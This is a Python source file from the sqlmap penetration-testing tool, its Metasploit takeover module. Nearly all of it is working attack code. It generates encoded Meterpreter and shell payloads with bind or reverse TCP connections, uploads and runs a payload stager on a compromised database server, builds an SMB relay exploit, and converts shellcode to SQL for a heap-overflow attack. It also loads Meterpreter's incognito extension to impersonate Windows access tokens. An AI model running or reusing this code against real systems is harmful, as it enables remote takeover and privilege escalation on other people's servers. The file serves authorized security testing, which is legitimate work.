#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2009 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import binascii import os import re import stat import sys import time from select import select from subprocess import PIPE from subprocess import Popen as execute from lib.core.agent import agent from lib.core.common import dataToStdout from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapDataException from lib.core.exception import sqlmapFilePathException from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import setNonBlocking from lib.request.connect import Connect as Request from lib.takeover.upx import upx class Metasploit: """ This class defines methods to call Metasploit for plugins. """ def __initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.resourceFile = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath) self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath) self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath) self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath) self.__msfPayloadsList = { "windows": { 1: ( "Meterpreter (default)", "windows/meterpreter" ), 2: ( "Shell", "windows/shell" ), 3: ( "VNC", "windows/vncinject" ), }, "linux": { 1: ( "Shell", "linux/x86/shell" ), } } self.__msfConnectionsList = { "windows": { 1: ( "Bind TCP (default)", "bind_tcp" ), 2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ), 3: ( "Reverse TCP", "reverse_tcp" ), 4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ), }, "linux": { 1: ( "Bind TCP (default)", "bind_tcp" ), 2: ( "Reverse TCP", "reverse_tcp" ), } } self.__msfEncodersList = { "windows": { 1: ( "No Encoder", "generic/none" ), 2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ), 3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ), 4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ), 5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ), 6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ), 7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ), 8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ), 9: ( "Non-Alpha Encoder", "x86/nonalpha" ), 10: ( "Non-Upper Encoder", "x86/nonupper" ), 11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ), 12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ), 13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ), } } self.__msfSMBPortsList = { "windows": { 1: ( "139/TCP (default)", "139" ), 2: ( "445/TCP", "445" ), } } self.__portData = { "bind": "remote port numer", "reverse": "local port numer", } def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if kb.os == "Windows": opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "default" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice: if lst: choice = str(default) else: return default elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") return self.__skeletonSelection(msg, lst, maxValue, default) elif int(choice) > maxValue or int(choice) < 1: logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) return self.__skeletonSelection(msg, lst, maxValue, default) choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice def __selectSMBPort(self): return self.__skeletonSelection("SMB port", self.__msfSMBPortsList) def __selectEncoder(self, encode=True): if kb.os == "Windows" and encode == True: return self.__skeletonSelection("payload encoding", self.__msfEncodersList) def __selectPayload(self, askChurrasco=True): if kb.os == "Windows" and conf.privEsc == True: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to abuse " infoMsg += "Windows Impersonation Tokens via Meterpreter " infoMsg += "'incognito' extension to privilege escalate" logger.info(infoMsg) __payloadStr = "windows/meterpreter" else: __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList) if __payloadStr == "windows/vncinject": choose = False if kb.dbms == "MySQL": debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif kb.dbms == "PostgreSQL": choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because often Microsoft SQL Server " warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0] warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose == True: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": __payloadStr = "windows/meterpreter" break elif choice == "3": __payloadStr = "windows/shell" break elif choice == "1": if kb.dbms == "PostgreSQL": logger.warn("beware that the VNC injection might not work") break elif askChurrasco == False: logger.warn("beware that the VNC injection might not work") break elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): uploaded = self.uploadChurrasco() if uploaded == False: warnMsg = "beware that the VNC injection " warnMsg += "might not work" logger.warn(warnMsg) break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") return __payloadStr def __selectPort(self): for connType, connStr in self.__portData.items(): if self.connectionStr.startswith(connType): return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) def __selectRhost(self): if self.connectionStr.startswith("bind"): message = "which is the back-end DBMS address? [%s] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: address = self.remoteIP return address elif self.connectionStr.startswith("reverse"): return None else: raise sqlmapDataException, "unexpected connection type" def __selectLhost(self): if self.connectionStr.startswith("reverse"): message = "which is the local address? [%s] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address elif self.connectionStr.startswith("bind"): return None else: raise sqlmapDataException, "unexpected connection type" def __selectConnection(self): return self.__skeletonSelection("connection type", self.__msfConnectionsList) def __prepareIngredients(self, encode=True, askChurrasco=True): self.connectionStr = self.__selectConnection() self.lhostStr = self.__selectLhost() self.rhostStr = self.__selectRhost() self.portStr = self.__selectPort() self.payloadStr = self.__selectPayload(askChurrasco) self.encoderStr = self.__selectEncoder(encode) def __forgeMsfCliCmd(self, exitfunc="process"): self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr) self.__cliCmd += " EXITFUNC=%s" % exitfunc self.__cliCmd += " LPORT=%s" % self.portStr if self.payloadStr == "windows/vncinject": self.__cliCmd += " DisableCourtesyShell=1" if self.connectionStr.startswith("bind"): self.__cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self.__cliCmd += " LHOST=%s" % self.lhostStr else: raise sqlmapDataException, "unexpected connection type" self.__cliCmd += " E" def __forgeMsfConsoleCmd(self): self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile) def __forgeMsfConsoleResource(self): self.__prepareIngredients(encode=False, askChurrasco=False) self.__resource = "use windows/smb/smb_relay\n" self.__resource += "set SRVHOST %s\n" % self.lhostStr self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort() self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr) self.__resource += "set LPORT %s\n" % self.portStr if self.connectionStr.startswith("bind"): self.__resource += "set RHOST %s\n" % self.rhostStr elif self.connectionStr.startswith("reverse"): self.__resource += "set LHOST %s\n" % self.lhostStr else: raise sqlmapDataException, "unexpected connection type" self.__resource += "exploit\n" self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile) self.resourceFp = open(self.resourceFile, "w") self.resourceFp.write(self.__resource) self.resourceFp.close() def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None): self.__payloadCmd = self.__msfPayload self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr) self.__payloadCmd += " EXITFUNC=%s" % exitfunc self.__payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self.__payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise sqlmapDataException, "unexpected connection type" if kb.os == "Windows": self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output) if extra is not None: self.__payloadCmd += " %s" % extra else: self.__payloadCmd += " X" def __runMsfCli(self, exitfunc="process"): self.__forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework 3 command line " infoMsg += "interface locally, wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self.__cliCmd) self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE) def __runMsfConsole(self): infoMsg = "running Metasploit Framework 3 console locally, wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self.__consoleCmd) self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) def __runMsfPayloadRemote(self): infoMsg = "running Metasploit Framework 3 payload stager " infoMsg += "remotely, wait.." logger.info(infoMsg) if kb.os != "Windows": self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True) cmd = "%s &" % self.exeFilePathRemote if self.cmdFromChurrasco == True: cmd = "%s \"%s\"" % (self.churrascoPath, cmd) if kb.dbms == "Microsoft SQL Server": cmd = self.xpCmdshellForgeCmd(cmd) # NOTE: calling the Metasploit payload from a system() function in # C on Windows (check on Linux the behaviour) for some reason # hangs it and the HTTP response goes into timeout, this does not # happen when running the it from Windows cmd. # Investigate and fix if possible self.execCmd(cmd, silent=True) def __loadMetExtensions(self, proc, metSess): if kb.os != "Windows": return if self.resourceFile != None: proc.stdin.write("sessions -l\n") proc.stdin.write("sessions -i %s\n" % metSess) proc.stdin.write("use priv\n") if conf.privEsc == True: print infoMsg = "loading Meterpreter 'incognito' extension and " infoMsg += "displaying the list of Access Tokens availables. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token'" logger.info(infoMsg) proc.stdin.write("use incognito\n") proc.stdin.write("getuid\n") proc.stdin.write("list_tokens -u\n") def __controlMsfCmd(self, proc, func): stdin_fd = sys.stdin.fileno() setNonBlocking(stdin_fd) proc_out_fd = proc.stdout.fileno() setNonBlocking(proc_out_fd) while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: ready_fds = select([stdin_fd, proc_out_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: proc.stdin.write(blockingReadFromFD(stdin_fd)) except IOError: # Probably the child has exited pass if proc_out_fd in ready_fds[0]: out = blockingReadFromFD(proc_out_fd) blockingWriteToFD(sys.stdout.fileno(), out) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= "Starting the payload handler" in out # For --os-smbrelay smbRelayCond = "Server started" in out if pwnBofCond or smbRelayCond: func() metSess = re.search("Meterpreter session ([\d]+) opened", out) if metSess and self.payloadStr == "windows/meterpreter": self.__loadMetExtensions(proc, metSess.group(1)) except EOFError: returncode = proc.wait() return returncode def createMsfShellcode(self): infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " infoMsg += "for the exploit" logger.info(infoMsg) self.__randStr = randomStr(lowercase=True) self.shellcodeChar = "" self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb") self.__initVars() self.__prepareIngredients(askChurrasco=False) self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"") logger.debug("executing local command: %s" % self.__payloadCmd) process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] if kb.os == "Windows": payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) else: payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) self.__shellcodeFileP.close() if payloadSize: payloadSize = payloadSize.group(1) debugMsg = "the shellcode size is %s bytes" % payloadSize logger.debug(debugMsg) else: errMsg = "failed to create the shellcode (%s)" % payloadStderr raise sqlmapFilePathException, errMsg self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb") self.__shellcodeString = self.__shellcodeFileP.read() self.__shellcodeFileP.close() os.unlink(self.__shellcodeFilePath) hexStr = binascii.hexlify(self.__shellcodeString) for hexPair in range(0, len(hexStr), 2): self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] def createMsfPayloadStager(self, initialize=True): if initialize == True: infoMsg = "" else: infoMsg = "re" infoMsg += "creating Metasploit Framework 3 payload stager" logger.info(infoMsg) self.__randStr = randomStr(lowercase=True) if kb.os == "Windows": self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr) else: self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) self.__exeFileP = open(self.exeFilePathLocal, "wb") if initialize == True: self.__initVars() if self.payloadStr == None: self.__prepareIngredients() self.__forgeMsfPayloadCmd() logger.debug("executing local command: %s" % self.__payloadCmd) process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) pollProcess(process) payloadStderr = process.communicate()[1] if kb.os == "Windows": payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) else: payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) self.__exeFileP.close() os.chmod(self.exeFilePathLocal, stat.S_IRWXU) if payloadSize: payloadSize = payloadSize.group(1) exeSize = os.path.getsize(self.exeFilePathLocal) packedSize = upx.pack(self.exeFilePathLocal) debugMsg = "the encoded payload size is %s bytes, " % payloadSize if packedSize: debugMsg += "as a compressed portable executable its size " debugMsg += "is %d bytes, decompressed it " % packedSize debugMsg += "was %s bytes large" % exeSize else: debugMsg += "as a portable executable its size is " debugMsg += "%s bytes" % exeSize logger.debug(debugMsg) else: errMsg = "failed to create the payload stager (%s)" % payloadStderr raise sqlmapFilePathException, errMsg def uploadMsfPayloadStager(self): self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal)) logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote) self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False) os.unlink(self.exeFilePathLocal) def pwn(self): self.__runMsfCli() if self.connectionStr.startswith("bind"): self.__runMsfPayloadRemote() debugMsg = "Metasploit Framework 3 command line interface exited " debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote) logger.debug(debugMsg) def smb(self): self.__initVars() self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True) self.__forgeMsfConsoleResource() self.__forgeMsfConsoleCmd() if kb.dbms in ( "MySQL", "PostgreSQL" ): self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile) else: self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile) self.__runMsfConsole() debugMsg = "Metasploit Framework 3 console exited with return " debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest) logger.debug(debugMsg) os.unlink(self.resourceFile) def bof(self): self.__runMsfCli(exitfunc="seh") if self.connectionStr.startswith("bind"): self.spHeapOverflow() debugMsg = "Metasploit Framework 3 command line interface exited " debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow) logger.debug(debugMsg)